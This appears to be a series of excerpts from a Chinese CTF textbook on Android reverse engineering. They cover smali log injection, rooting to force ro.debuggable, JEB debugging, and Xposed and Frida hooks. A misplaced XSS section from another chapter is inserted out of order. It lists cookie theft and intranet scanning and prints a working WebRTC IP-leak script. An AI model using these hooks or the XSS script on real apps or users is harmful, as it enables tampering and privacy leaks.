    {"text": "未知 24.3 动态调试 本节将介绍Dalvik层的动态调试方法。相比静态调试，动态调试更简单，它通过对关键代码的插桩、打断、Hook等方式，直接跳过复杂的分析流程，可一步得到最终结果，使用非常方便。本节将介绍两种调试方法——log调试和smali动态调试，以及两个知名Hook框架——Xposed和frida。 未知 24.3.1 使用log调试 log调试是一种最简单也是最常见的调试方法，通过修改反编译后的BakSmali汇编代码，加入自定义的语句，可以实现打印信息、修改执行流程、篡改返回值等功能。不过，这里需要注意的是，log调试需要对APK进行重打包，因此并不适用于使用了完整性校验、签名校验等保护技术的APK。在选择log调试的时候，首先要仔细研究代码，根据是否存在类似的反篡改措施来判断是否使用log调试。 进入正题，Android开发框架提供了多个log静态方法，都位于android.util.Log类中，比较常见的方法如下： ·Log.v(String tag,String msg); ·Log.d(String tag,String msg); ·Log.i(String tag,String msg); ·Log.w(String tag,String msg); ·Log.e(String tag,String msg)。 需要注意的是，这些方法都具有两个参数，因此我们在插入log调试代码时，不仅需要传入打印的字符串变量，还需要另一个变量来保存tag参数的字符串。因此在实际操作中，为了尽量减少代码的修改，可以从上下文中选取一个不再使用的局部变量，用来存储tag字符串。 下面来看一个实例，假设我们在分析过程中发现了关键的跳转代码，其中v0表示我们的输入，v1表示目标字符串，如果输入与目标字符串相等，则跳转至得到flag的流程，如果输入与目标字符串不相等，则跳转至没有得到flag的流程。因此，根据动态调试的理念，如果我们能够直接得到v1的值，就可以直接得到flag了： invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v0 if-eqz v0, :cond_0 此时，我们需要插入代码打印出v1的内容。log打印需要两个参数，一个是v1（已经确定了），还需要再找一个局部变量来存储tag的内容。这里包含两个思路：一个是可以将log方法的两个参数都写为v1，这样可以减少对其他局部变量的影响，缺点是缺少标识，使得log打印的信息容易被其他logcat信息淹没；另一个思路就是找一个不再使用的变量，或者即将被赋予新值的变量，来承担起tag的作用。如果实在找不到闲置的局部变量，又不想使用第一个思路，则可以修改你要打印语句所在的方法的声明，将局部变量数量加一，但是笔者并不推荐这种做法，因为该做法可能会产生不可预知的后果。 好的，假设现在我们找到了闲置的局部变量v2，只要按照BakSmali汇编的语法来插入log语句就行了，这里笔者选择了Log.v方法。完整的代码如下： const-string v2, \"PWN\" invoke-static {v2, v1}, Landroid/util/Log;->v(Ljava/lang/String;Ljava/lang/String;)I invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v0 if-eqz v0, :cond_0 然后按照Apktool重打包的步骤，完成重打包后运行即可。使用adb logcat命令可以查看log的输出信息，如图24-22所示，使用grep命令结合tag参数，可以更快找到我们想要的调试信息。 图24-22 log法打印flag"},
    {"text": "未知 24.3.2 smali动态调试 24.3.1节介绍了传统的log调试法，可以看出，使用log调试还是比较烦琐的，需要仔细阅读代码，那么有没有一种方法可以在不修改BakSmali代码的情况下去直接调试BakSmali代码呢？"},
    {"text": "本来笔者还想做一个使用Smalidea插件调试的教程，但是最新版的Intellij IDEA已经不兼容最新版的Smalidea插件了，为了不误导读者，故将这部分内容删去了。"},
    {"text": "Dalvik虚拟机在最初的版本中就加入了对调试的支持，为了与传统Java开发的调试接口统一，Dalvik虚拟机实现了JDWP（Java Debug Wire Protocol，Java调试有线协议），可以支持使用JDWP的调试器来调试Android程序，例如Java程序员所熟知的jdb。 Dalvik虚拟机为JDWP的实现加入了DDM（Dalvik Debug Monitor，Dalvik调试监控器）特性，可以使用DDMS（Dalvik Debug Monitor Server，Dalvik调试监视器服务）查看，运行Android SDK的tools目录下的monitor即可打开DDMS。"},
    {"text": "每一个启用调试的Dalvik虚拟机实例都会启动一个JDWP线程，该线程一直处于空闲状态，直到打开DDMS或者调试器连接。 那么什么是启用调试的Dalvik虚拟机实例呢？ 新的App应用启动时，Android服务框架会为它创建一个新的Dalvik虚拟机，Android服务框架会首先检查系统属性ro.debuggable是否为1，如果是1，则新开的Dalvik虚拟机会启用调试；"},
    {"text": "如果是0，则Android服务框架会进一步检查APK的AndroidManifest.xml文件，如果<application>元素中包含了android:debuggable=\"true\"则会开启调试，否则就不开启调试。"},
    {"text": "在默认情况下，使用Android AVD生成的模拟器的ro.debuggable属性为1，在默认情况下，使用Google Android源码库（AOSP）编译出来的镜像的ro.debuggable属性也为1。"},
    {"text": "编译完成后的可执行程序位于libs/armeabi目录下，有两个文件setpropex和setpropex-pie，使用哪一个文件取决于系统版本，如果是Android5.0以上的版本，则需要使用setpropex-pie文件。"},
    {"text": "编译完成后，adb push到手机里，运行即可修改系统属性，示例命令如下： $ adb push setpropex-pie /data/local/tmp [100%] /data/local/tmp/setpropex-pie $ adb shell shell@hammerhead:/ $ su shell@hammerhead:/ # getprop ro.debuggable 0 shell@hammerhead:/ # /data/local/tmp/setpropex-pie ro.debuggable 1 shell@hammerhead:/ # getprop ro.debuggable 1 这样就成功修改了系统的ro.debuggable属性，可以对任意的APK进行调试了。 Android本身还带有一个setprop命令用于修改系统属性，但是这个命令基本没用。"},
    {"text": "JEB2相比JEB1的进步之处就是它增加了APK的动态调试功能，而且这个功能不需要烦琐的操作，只需要点击一个按钮即可进入调试。 目前JEB2的调试功能并不稳定，使用时需要多加注意。"},
    {"text": "图24-23 JEB动态调试界面 使用JEB2的动态调试功能前，需保证系统设定了ro.debuggable属性或者APK本身具有android:debuggable=\"true\"属性，然后就可以调试了。 开始调试的方法非常简单，首先在手机上运行APK； 然后点击JEB2上方的调试按钮，在弹出的对话框中选择目标手机以及要调试的App的名字，点击Attach，即可进入调试模式。 需要注意的是，目标App的Flags一栏中需要有D属性，如果没有，则是系统的ro.debuggable属性没有设置好，需要重新设置，如图24-24所示。"},
    {"text": "图24-24 JEB选择目标进程 图24-25中的按钮从左至右分别为调试、运行、暂停、停止、单步进入、单步执行、跳出函数、运行到指针处，都是极为常见的调试按钮。 图24-25 JEB动态调试按钮 进入JEB2的调试模式之后，Project Explorer一栏中会出现新的一项——VM。"},
    {"text": "VM中包括Locals栏、Breakpoints栏和Threads栏，其中Locals栏用于显示局部变量，Breakpoints栏用于显示断点信息，Threads栏用于显示APK运行的所有线程，如图24-26所示。"},
    {"text": "在BakSmali代码栏中，选择某一行，使用Control+B（macOS系统中是Command+B）快捷键下断点，下了断点的语句会在它的左边显示断点标志。 下完想要的断点之后，点击运行按钮，然后触发目标事件，就能将断点下在目标代码处了，这个时候的调试与一般的调试方法一样，如图24-27所示。"},
    {"text": "Xposed框架可以在不修改APK的情况下影响APK的运行，基于它可以制作出许多功能强大的模块，被誉为“Android第一神器”。 Xposed框架从本质上讲采用的是Hook技术，该框架通过在/system/bin/目录的app_process程序下注入代码，使之在启动的时候优先加载Xposed框架的XposedBridge.jar文件，该文件在内部会检索安装的APK，检查APK是否具有Xposed模块的标志，如果有，则将该APK注册为Xposed模块。"},
    {"text": "根据Xposed框架的原理，我们首先要做的是向app_process程序注入代码，Xposed官方给出了两种方法：一种是直接修改app_process程序，另一种是通过刷入刷机包来替换app_process程序。 在这之前，首先需要安装Xposed框架的模块管理器，网址为 http://repo.xposed.info/module/de.robv.android.xposed.installer ，需要注意的是，5.0以上和5.0以下版本的系统需要安装不同的模块管理器。 根据安装页面上的提示，5.0以下（不包括5.0）的系统需要安装名字为de.robv.android.xposed.installer_vXXX.apk的APK，5.0以上的系统需要安装名字为XposedInstaller_3.0_XXX.apk的APK。 第一种方法比较简单，但是该方法需要具有ROOT权限，并且需要机型与系统版本的支持，该方法多见于5.0以下（不包括5.0）的系统中。 打开之前安装的“XposedInstaller”，点击“框架”，会依次出现如图24-28所示的界面，直接点击其中的“安装/更新”即可，图24-28中笔者已经用该方法成功修改了app_process程序。 若是“安装/更新”按钮为灰色，则说明你的手机不支持使用该方法进行安装，需要选择第二种方法。"},
    {"text": "首先从网站 http://dl-xda.xposed.info/framework/ 下载适用于自己手机的刷机包，其中，sdk21代表5.0系统，sdk22代表5.1系统，sdk23代表6.0系统（其他版本的系统在完稿时暂时还不支持）； 随后选择自己手机的处理器架构（ARM、ARM64、X86），下载最新版，例如笔者下载的是xposed-v86-sdk22-arm.zip，代表ARM架构的5.1系统，Xposed框架版本是86。 下载完刷机包后使用recovery刷入即可。 这里的recovery需要第三方的recovery，可能有的读者对于recovery刷机的方法还不太熟悉，这里做个简单的介绍。 假设手机系统现在是原厂镜像，那么首先需要刷入第三方recovery，笔者比较喜欢CM的recovery镜像，因此要去CM官网上下载针对自己手机的recovery镜像，网址为 http://download.cyanogenmod.org/ 。 例如笔者的Nexus 5手机，下载的recovery镜像为cm-13.0-20160820-SNAPSHOT-ZNH5YAO0J2-hammerhead-recovery.img。 随后在手机开机状态下使用“adb reboot bootloader”命令，或者在关机状态下按住音量下键和电源键五秒钟进入手机的fastboot模式，然后使用“fastboot flash recovery cm-13.0-20160820-SNAPSHOT-ZNH5YAO0J2-hammerhead-recovery.img”命令即可刷入recovery，再重启即可。 随后在手机开机状态下使用“adb reboot recovery”命令，或者在关机状态下按住音量上键和电源键即可进入recovery模式。 进入CM的recovery模式后，刷入刷机包也有两种方法。 第一种，需要使用USB数据线将手机与电脑相连，在手机端依次选择“Apply update”→“Apply from ADB”，然后在电脑端的刷机包路径下，输入“adb sideload xposed-v86-sdk22-arm.zip”命令，稍等片刻即可刷入完成； 另一种方法，需要事先将刷机包传入手机，然后在手机端依次选择“Apply update”→“Choose from emulated”，选择自己刷机包的路径，稍等片刻即可完成刷机。 这里推荐第一种刷机方法。 刷机完成后，再打开XposedInstaller，可以看到app_process成功刷入了。 如图24-29所示的是刷入前后的对比图，可以看到，无论刷入成功与否，“安装/卸载”按钮始终都是灰色的。 如果想卸载，也很简单，只要刷入Xposed框架的卸载刷机包即可，具体可查看官网教程。 图24-29 Xposed刷机界面 完成了app_process的修改工作，只是完成了Hook环境的搭建，下面才是真正进入Hook的过程。 Xposed模块从本质上来讲是一个Android App，需要有一定的Android APK开发经验，开发环境可以选择Android studio或者Intellij IDEA，两者之间的区别并不大，这里笔者选择的是Intellij IDEA。 打开Intellij IDEA，新建一个“Empty Activity”工程，包命名为“com.a.sample.xposed”，打开工程下的app/build.gradle文件，在“dependencies”依赖中，添加如下两个依赖： provided 'de.robv.android.xposed:api:82' provided 'de.robv.android.xposed:api:82:sources' 随后同步Gradle。 之后打开app/src/main/AndroidManifest.xml文件，在application属性中添加如下三个子属性： <meta-data android:name=\"xposedmodule\" android:value=\"true\"/> <meta-data android:name=\"xposeddescription\" android:value=\"Xposed example\"/> <meta-data android:name=\"xposedminversion\" android:value=\"54\"/> 其中，xposedminversion表示支持的最低的Xposed API版本，这里添加的三个属性就是之前提到的Xposed模块的标志了。 完成了环境准备工作之后，现在就可以新建一个Hook类了，例如笔者新建了一个Sample类，代码如下： package com.a.sample.xposed; import de.robv.android.xposed.IXposedHookLoadPackage; import de.robv.android.xposed.XC_MethodHook; import de.robv.android.xposed.XposedBridge; import de.robv.android.xposed.callbacks.XC_LoadPackage; import java.util.Arrays; import java.util.Locale; import static de.robv.android.xposed.XposedHelpers.findAndHookMethod; /** * Created on 16/10/3. */ public class Sample implements IXposedHookLoadPackage { private static final String appName = \"com.a.sample.xposed\"; private static String completeClassName(String className) { return appName + \".\" + className; } // s.length <= 1024 private static void log(String s) { XposedBridge.log(s); } @Override public void handleLoadPackage(XC_LoadPackage.LoadPackageParam lpparam) throws Throwable { if (!appName.startsWith(lpparam.packageName)) return; log(\"Loaded app: \" + lpparam.packageName); findAndHookMethod(completeClassName(\"a\"), lpparam.classLoader, \"a\", byte[].class, new XC_MethodHook() { @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { log(String.format(Locale.ENGLISH, \"beforeHookedMethod: %s.%s\", param.thisObject.getClass().getName(), param.method.getName())); for (int i = 0; i < param.args.length; i++) { log(String.format(Locale.ENGLISH, \"\\targument %d is: %s\", i, param.args[i].toString())); } log(Arrays.toString((byte[]) param.args[0])); } @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { param.setResult(\"\"); } }); } } 简单讲解一下上面的类。 要想实现Xposed框架的Hook功能，Hook类需要实现Xposed框架的IXposedHookLoadPackage接口，并实现该接口的handleLoadPackage方法。"},
    {"text": "该方法在每一个新的APK运行的时候都将被Xposed框架调用，传入的参数类型为XC_LoadPackage.LoadPackageParam，该参数包含所启动的APK的包信息。 因此可以使用appName.startsWith(lpparam.packageName)来判断启动的APK是否为我们想要Hook的APK，如果不是则返回。 接下来使用Xposed框架的核心方法findAndHookMethod，使用该方法能够Hook指定类的某个方法的传入参数及返回值，该方法的定义如下： findAndHookMethod(String className, ClassLoader classLoader, String methodName, Object... parameterTypesAndCallback) 其中，className是要Hook的类名； classLoader可以直接填入传入参数lpparam的classLoader，如上面例子所示；"},
    {"text": "最后填入一个XC_MethodHook类的回调方法，该方法定义了beforeHookedMethod和afterHookedMethod两个回调方法。 两个回调方法分别代表方法调用前传入的参数以及函数调用后返回的值。 这两个回调方法的参数类型都是MethodHookParam，传入的参数可以使用param.args操作获取到一个Object列表，传出的参数可以使用setResult方法修改返回值。"},
    {"text": "Xposed框架提供的log方法XposedBridge.log()可以将log同时输出到logcat和XposedInstaller中，点击XposedInstaller中的“日志”按钮即可查看，非常方便。"},
    {"text": "编写完Hook类后，还需要最后一步，在app/src/main/assets/目录下新建xposed_init文件，这个文件主要用于声明要调用的Hook类的类名（Java类的表示形式），例如本例中就要写入： com.a.sample.xposed.Sample 最后编译并安装APK，编译过程中建议关闭proguard混淆，或者将Hook类添加到proguard混淆例外中。"},
    {"text": "未知 24.3.4 使用Frida框架Hook进程 本节将介绍另一个强大的Hook框架——Frida。 Frida是一个全平台支持的Hook框架，它支持Windows、Mac、Linux、iOS和Android各平台。"},
    {"text": "虽然各平台在底层实现的方式并不相同，但在上层都抽象为相同的JavaScript API调用，注意是JavaScript API，非常灵活，同时也需要使用者具有一定的JavaScript编写能力。"},
    {"text": "针对Android的Frida来讲，实现Hook需要在手机端运行一个frida-server，frida-server本身集成了Google的V8解释器（新版的好像换成了Duktape），用于解析JavaScript代码。"},
    {"text": "frida-server的实现原理是使用ptrace系统调用在目标进程中注入一段代码，随后断开ptrace调试，该代码与frida-server之间使用pipe管道进行通信，frida-server与客户端的代码之间使用adb的端口转发进行通信，因此frida-server需要使用Root权限运行。 Frida是开源软件，网站位于 http://www.frida.re/ ，源码托管于GitHub，有兴趣深入研究其实现原理的读者可以去GitHub查看。"},
    {"text": "图24-31 Frida原理 如图24-31所示，我们要区分Frida框架的三个层次，分别是客户端、服务端、注入代码。 客户端，指的是运行在电脑上的Frida程序，这一部分代码主要负责唤醒服务端、将JavaScript语言的Hook代码传递到服务端、接收远程服务端传回的信息、封装远程调用等功能，在Frida中，客户端的实现语言有很多种，例如Python、JavaScript、C#等，本节将着重介绍Python和JavaScript两种客户端实现方式。 服务端，指的是运行在手机上的frida-server，该frida-server内置了Google V8解释器，用于接收客户端传过来的JavaScript代码并执行，也就是说，真正的Hook代码必须使用JavaScript语言编写。"},
    {"text": "了解了Frida框架的三个层次之后，下面先来讲解Frida客户端的实现方式。 1.Frida客户端实现 （1）Python客户端 Frida框架的Python客户端是Frida客户端中使用最为广泛的一种，也是安装最容易、代码最易实现的一种。"},
    {"text": "下面就可以编写客户端代码了，示例如下： import frida, sys def on_message(message, data): if message['type'] == 'send': print(\"[*] {0}\".format(message['payload'])) else: print(message) jscode = \"\"\" //jscode here \"\"\" process = frida.get_usb_device().attach('com.some.package') script = process.create_script(jscode) script.on('message', on_message) script.load() sys.stdin.read() 上面的jscode为需要填入的传给客户端的JavaScript代码，包名“com.some.package”为目标APK的名字，on_message函数在下方会注册成消息处理函数。"},
    {"text": "nodejs和npm环境安装完成后，需要新建一个目录，例如新建一个名为frida的目录，然后在目录中新建一个名为package.json的文件，写入如下内容： { \"name\": \"frida_tools\", \"version\": \"0.0.0\", \"private\": true, \"scripts\": { \"start\": \"node app.jsx\" }, \"dependencies\": { } } 其中，name可以随意，dependencies暂时留空，随后输入如下命令安装最新版Frida： npm install co frida frida-load --save 安装完成后，新建一个名为app.jsx的文件，注意，后缀不能为js，因为Frida框架的JavaScript客户端的实现需要ES6标准。 在app.jsx写入如下内容： 'use strict'; const co = require('co'); const frida = require('frida'); const load = require('frida-load'); let target = 'com.some.package'; let file = './agent.jsx'; let session, script; co(function *() { const device = yield frida.getUsbDevice(); session = yield device.attach(target); onMessage('Pid: ' + session.pid); const source = yield load(require.resolve(file)); script = yield session.createScript(source); script.events.listen('message', onMessage); yield script.load(); }).catch(onError); function onError(error) { console.error(error.stack); } function onMessage(message) { if (message.type === 'send') { console.log(message.payload); } else if (message.type === 'error') { console.error(message.stack); } else { console.log(message); } } Frida中使用co库来进行异步调用，代码看上去会略微烦。"},
    {"text": "我们可以从网址 https://github.com/frida/frida/releases 下载最新版的frida-server，下载完成后依次使用如下命令将frida-server发送至手机上，修改权限并运行： adb push frida-server /data/local/tmp/ adb shell \"chmod 755 /data/local/tmp/frida-server\" adb shell \"/data/local/tmp/frida-server &\" frida-server运行后，我们在PC端可以使用“frida-ps-U”命令快速查看frida-server是否运行成功，如果该命令运行成功，则会返回当前运行的进程信息。 需要注意的是，frida-server对高版本Android系统的支持并不好，目前笔者测试的最稳定的系统版本是5.1.1。"},
    {"text": "现在终于可以进行服务端Hook代码的编写了，一个典型的Hook代码如下： 'use strict'; if (Java.available) { Java.perform(()=> { let clazz = Java.use('com.some.package.a'); clazz.a.implementation = function (s) { send('called'); console.log(s); return this.a(s); }; }); } 在Frida中进行Dalvik层Hook之前必须使用Java.available变量判断当前的Dalvik层Hook是否可用； 此外，Dalvik层的Hook代码必须定义为一个函数并使用Java.perform(...)方法注册，这里笔者使用的是一个匿名函数。 使用Java.use()函数选取要Hook的类，直接使用“.”操作符选择类中的方法即可，例如，上面的clazz.a表示的是com.some.package.a类中的a方法。"},
    {"text": "在Hook函数内部既可以使用console.log将变量打印出来，也可以使用send函数将变量发送到客户端打印出来，这两个函数的调用结果有时候相同，有时候不同，我们可以同时使用。"},
    {"text": "答案是使用overload函数，在目标方法后调用overload函数可用于指明重载函数的类型，overload函数传入代表类型的字符串作为参数，有几个参数就传入几个参数字符串。"},
    {"text": "例如下面两个例子： clazz.a.overload('java.lang.String').implementation = ... clazz.a.overload('java.lang.String', 'int').implementation = ... 表示Hook的是包含一个参数且类型为String的a方法，以及包含两个参数且类型分别为String和int的a方法。"},
    {"text": "Frida还有很多其他的API调用，这里就不展开介绍了，具体可以查看官方API手册（ http://www.frida.re/docs/javascript-api/#java ），此外还有一些隐藏的API调用，具体可以查看相关源码。"},
    {"text": "相对Xposed框架来说，Frida框架的使用就显得难以理解了，Frida服务端使用JavaScript实现，如何实现Java类与JavaScript对象之间的无缝转换成为需要考虑的主要问题。"},
    {"text": "未知 24.4 Dalvik层混淆及加固技术 本节将介绍在比赛中经常遇到的Dalvik层混淆及加固技术，了解这些技术的原理和特征，将对我们的解题带来很大帮助。 未知 24.4.1 ProGuard混淆 ProGuard混淆是Android SDK默认的自带的混淆器，其主要功能是对类名、方法名、变量名等标识符进行混淆，将它们修改为无意义的字母组合，如图24-32所示，我们在APK中经常看见的a、b、c类并不是出题者故意设计的，而是由ProGuard混淆器混淆之后的结果。 图24-32 ProGuard混淆之后的类 ProGuard混淆的开启方式非常简单，只要在编译之前将build.grade配置文件中的minifyEnabled属性设为true即可，因此大部分的题目默认都会开启该混淆。 但是需要注意的是，ProGuard混淆并不会混淆所有的类名、方法名、变量名，对于一些重要的接口类、接口方法等是不会做混淆的，例如Activity类的onCreate方法，如果混淆则APK将无法启动。要想查看ProGuard混淆默认不对哪些名字做修改，可以查看Android SDK的默认混淆设置，该设置文件位于Android SDK目录下的tools/proguard/proguard-android.txt文件中。 我们在解题的时候，还是要从关键的接口方法入手，逐步进行查看。这里推荐使用JEB来查看APK的方法逻辑，熟练使用它的交叉引用和重命名功能，将看懂的方法改为我们容易辨识的名字，这样对于提高做题速度有非常大的帮助。 未知 24.4.2 DEX破坏 我们在解题的时候，无论是使用单独的工具还是使用反编译平台，第一步一般都会使用Apktool对APK进行反编译，因此有的题目针对这点，做了一些专门的处理。它们会将classes.dex等文件的部分字段改掉，改掉的部分不会影响APK在手机中的正常运行，但是会影响Apktool对反编译的处理，使得Apktool进入异常处理流程最终退出反编译。 针对这种加固方法没有一个一概而论的解决办法，具体情况还要具体分析，现在只能提供两种解决思路：一种是跟随Apktool的报错信息，逐步回溯查看到底是解析什么字段的时候出现的问题，进而解决问题，使用该方法需要具有一定的代码阅读能力；另一种思路是找到一个正常的APK文件，对其中的classes.dex、AndroidManifest.xml等需要解析的文件进行对比，查看能否找到异常的字段，进而将异常字段改回。 此外，要记住随时将Apktool更新到最新版本，新版本可能会修复一些BUG，从而排除是由于Apktool版本过低而不是题目的原因造成的反编译失败。 未知 24.4.3 APK伪加密 APK伪加密也是在比赛过程中偶尔会遇到的加固方式。APK文件从本质上来说是一个ZIP压缩文件，通过将其加密字段设为1，可以达到伪加密的效果，使得在使用unzip等工具解压该APK的时候，提示输入密码，但是无论输入什么密码都是不对的。而在Android系统中，APK文件属于Android软件文件，Android系统有一套单独的解包工具，在解包过程中会跳过加密字段，因此修改加密字段并不会影响APK的运行，但会影响我们反编译。 APK伪加密的原理是修改对标记为“P K 0102”的连续4位字节后的第5位字节，1表示加密、0表示不加密。因此我们要去除伪加密只需将相关字节设置为0即可。同时，Android Killer工具自带一键去除伪加密功能，使用Windows系统的读者可以尝试一下。 未知 24.4.4 APK增加数据 有的APK会在正常的APK文件末尾增加一些没用的数据来破坏解压缩流程，使得解压缩失败。这个方法与上面的伪加密类似，都是因为电脑与手机处理APK文件的逻辑不一样而造成的。Android系统在处理APK文件时，是根据标志头和标志尾来界定APK的范围的，因此在APK尾部附加信息并不会影响APK的运行。而在电脑中，这个APK文件却会被界定为错误的压缩文件，从而使得解压缩失败。 解决的方法就是将多余的数据剔除，当然，多余的数据中是否包含提示或者脑洞之类的语句，还是需要注意一下的。"},
    {"text": "未知 3.4 危害与利用技巧 XSS漏洞利用的基础是脚本，攻击发生的位置是客户端浏览器。也就是说，在浏览器中脚本所能做的事情通过XSS漏洞都可以完成，而不仅仅是窃取Cookie。XSS漏洞可以实现的功能包括但不限于： ·窃取用户Cookie信息，伪造用户身份； ·与浏览器DOM对象进行交互，执行受害者所有可以执行的操作； ·获取网页源码； ·发起HTTP请求； ·使用HTML5 Geolocation API获取地理位置信息； ·使用WebRTC API获取网络信息； ·发起HTTP请求对内网主机进行扫描，对存在漏洞的主机进行攻击； ·... 如下代码展示了如何使用WebRTC API获取网络信息： //获取与账户关联的IP地址 function getIPs(callback){ var ip_dups = {}; //兼容Firefox和Chrome var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; var useWebKit = !!window.webkitRTCPeerConnection; //使用iframe绕过webrtc的拦截 if(!RTCPeerConnection){ //注意：你需要在script标签上方的页面中有一个iframe标签，比如 //<iframe id=\"iframe\" sandbox=\"allow-same-origin\" style=\"display: none\"></iframe> //<script>...这里调用getIPs... var win = iframe.contentWindow; RTCPeerConnection = win.RTCPeerConnection || win.mozRTCPeerConnection || win.webkitRTCPeerConnection; useWebKit = !!win.webkitRTCPeerConnection; } //数据连接的最低要求 var mediaConstraints = { optional: [{RtpDataChannels: true}] }; var servers = {iceServers: [{urls: \"stun:stun.services.mozilla.com\"}]}; //构造一个RTCPeerConnection对象 var pc = new RTCPeerConnection(servers, mediaConstraints); function handleCandidate(candidate){ //仅匹配IP地址 var ip_regex = /([0-9]{1,3}(\\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/ var ip_addr = ip_regex.exec(candidate)[1]; //删除重复项 if(ip_dups[ip_addr] === undefined) callback(ip_addr); ip_dups[ip_addr] = true; } //监听candidate事件 pc.onicecandidate = function(ice){ //跳过非candidate事件 if(ice.candidate) handleCandidate(ice.candidate.candidate); }; //创建伪造的数据通道 pc.createDataChannel(\"\"); pc.createOffer(function(result){ pc.setLocalDescription(result, function(){}, function(){}); }, function(){}); //一秒后执行 setTimeout(function(){ //从本地描述中读取candidate信息 var lines = pc.localDescription.sdp.split('\\n'); lines.forEach(function(line){ if(line.indexOf('a=candidate:') === 0) handleCandidate(line); }); }, 1000); } //测试 getIPs(function(ip){document.write(ip + '<br>');}); 访问结果如图3-6所示，成功显示出了IP信息。 图3-6 WebRTC获取IP地址 这里再推荐一个非常好用的开源XSS漏洞利用平台：BeEF（The Browser Exploitation Framework），项目地址为 https://github.com/beefproject/beef/ 。该平台中包含大量XSS代码，可供参考和学习。 未知 24.4.5 DEX隐藏 DEX隐藏也可以称为DEX加壳，就是将真正需要执行的DEX隐藏到某个位置。APK执行的时候实际上执行的是解壳程序，解壳程序将真正的DEX文件解密出来，再使用DexClassLoader动态加载，DEX隐藏的实现方式灵活多变，这里也无法形成一个统一的解决方案。需要注意的是，解密出来的DEX文件都需要使用DexClassLoader加载，而使用DexClassLoader加载DEX文件需要将DEX文件首先保存到文件中，因此其调用DexClassLoader和保存文件的位置就是解题的突破口。 未知 第25章 Native层逆向 本章将介绍Native层的逆向破解，Native层的逆向破解是比赛中的重点，也是比赛中中等难题和难题必定要涉及的知识。因此，掌握Android Native层的逆向破解是从新手通往高手的必由之路。 本章将分为四个部分讲解Native层的逆向破解，首先了解一下Java层调用Native层的机制和原理，然后研究一下静态分析和动态调试Native层lib的方法。 未知 25.1 Native层介绍 本节将讲解Native层的机制和原理，换句话说也是Android NDK的原理，具体将从正向和逆向两个方面来介绍Android NDK的调用原理。"},
    {"text": "未知 25.1.1 正向——使用NDK编写Native层应用 本节将从开发者的角度研究NDK的机制。 Android NDK是Google提供的一个开发工具包，使用这个工具包能够让Java层的代码调用到Native层，也就是C/C++代码，使APK能够实现一些更加底层的功能。Android NDK目前支持x86、ARM、mips等架构，但是一般题目中只会出现ARM架构，因此本节的所有实例均默认为ARM架构。 Android NDK可以从网址 https://developer.android.com/ndk/downloads/index.html 处下载，下载完成后解压到任意目录，然后将解压目录添加到系统路径里，当能够成功调用“ndk-build”命令时，则表示安装成功。 本节将介绍标准的Android NDK开发方法，一般来说，中等难度的题目会采用本节所介绍的方法开发APK。 NDK开发的目的是为了使Java层能够调用C/C++层中的某个函数，而不是使Native层独立于Java层运行，而NDK正是提供了这样一种方法，使得Java层的方法与C/C++层的函数能够耦合起来，让调用C/C++层的函数与调用普通Java方法一样简单。 开发的第一步需要在Java文件中声明要使用Native层的方法的名字，方法的名字前面需要加上native参数，表明该方法是一个Native层方法，例如，新建了如下所示的一个类，里面有一个Native方法： public class NdkTest { public native String getNativeString(); } 将这个文件保存为NdkTest.java，然后在同目录下，运行“javah NdkTest”命令，就会在同目录下生成NdkTest.h文件。当类在某个包（package）里面时，需要将包的全称写清楚。 下面来看一下新生成的这个文件，文件的内容非常简单，具体如下： /* DO NOT EDIT THIS FILE - it is machine generated */ #include <jni.h> /* Header for class NdkTest */ #ifndef _Included_NdkTest #define _Included_NdkTest #ifdef __cplusplus extern \"C\" { #endif /* * Class: NdkTest * Method: getNativeString * Signature: ()Ljava/lang/String; */ JNIEXPORT jstring JNICALL Java_NdkTest_getNativeString (JNIEnv *, jobject); #ifdef __cplusplus } #endif #endif 首先是一个头文件<jni.h>，这个头文件中声明了NDK中JNI调用所需的各个变量。其次声明了一个函数Java_NdkTest_getNativeString，返回值为jstring。该函数的参数有两个，类型分别为JNIEnv*和jobject，第一个参数为当前线程的JNIEnv环境变量指针，第二个参数jobject为该函数所属java类实例的指针。与方法getNativeString()没有参数不同，这两个参数JNIEnv*和jobject是每个JNI函数必须的，如果上层的Java声明中包含了参数的话，则JNI函数的参数列表将按数量增加，类型则与声明的变量类型对应。 需要注意的是，函数Java_NdkTest_getNativeString的声明前有JNIEXPORT参数，这个参数表明该函数是导出的，即使NDK在编译过程中关闭了符号，该符号也会存在，并且仍然是一个导出函数，因此是可以从IDA的Exports窗口中看到的。 头文件生成后，下面进行第二步，编写相关函数的实现，一个简单的示例代码如下： #include \"NdkTest.h\" JNIEXPORT jstring JNICALL Java_NdkTest_getNativeString(JNIEnv* env, jobject obj) { return (*env)->NewStringUTF(env, \"Just a test!\"); } 这个函数返回了一个Java字符串“Just a test!”，更多的JNI函数请查阅Android JNI调用文档。 第三步修改编译参数，即新建两个文件：Android.mk、Application.mk，示例代码如下： Android.mk LOCAL_PATH := $(call my-dir) include $(CLEAR_VARS) LOCAL_MODULE := ndk_test LOCAL_SRC_FILES := NdkTest.c include $(BUILD_SHARED_LIBRARY) Application.mk APP_ABI := armeabi-v7a APP_PIE := true 然后使用ndk-build编译就行了，上面的LOCAL_MODULE变量指明了生成的lib库文件的名字，例如本例中生成的库文件名为libndk_test.so。 最后一步，显式地加载lib库文件，NDK生成的库文件需要显式加载，毕竟APK事先是不知道你要加载什么库的，加载库文件的指令一般写在类的static字段里，例如，之前的NdkTest类可以修改为如下代码： public class NdkTest { static { System.loadLibrary(\"ndk_test\"); } public native String getNativeString(); } 这样，一个简单的NDK JNI调用例子就写好了，就可以像调用Java方法一样调用C/C++函数了。 从这个步骤中不难看出，NDK JNI调用需要具备三个条件，分别是：需要有System.loadLibrary方法显式加载lib库文件；其次Java类中需要有native声明的方法；最后需要Native层中有带JNIEXPORT参数的形如Java_Package_Class_method的函数。 这三个条件是形成JNI调用的充分条件，那么它们是不是必要条件呢？答案是：前两个条件是必要条件，是所有类型的JNI调用都需要具有的条件，但是最后一个就不一定了，因为Native函数是可以动态注册的。接下来，我们将详细介绍Native函数动态注册的原理。"},
    {"text": "未知 25.1.2 JNI调用特征分析 本节我们将从源码的角度分析Dalvik虚拟机加载外部lib库的执行流程，来看一下是否有隐藏在开发者文档之外的耦合方法。"},
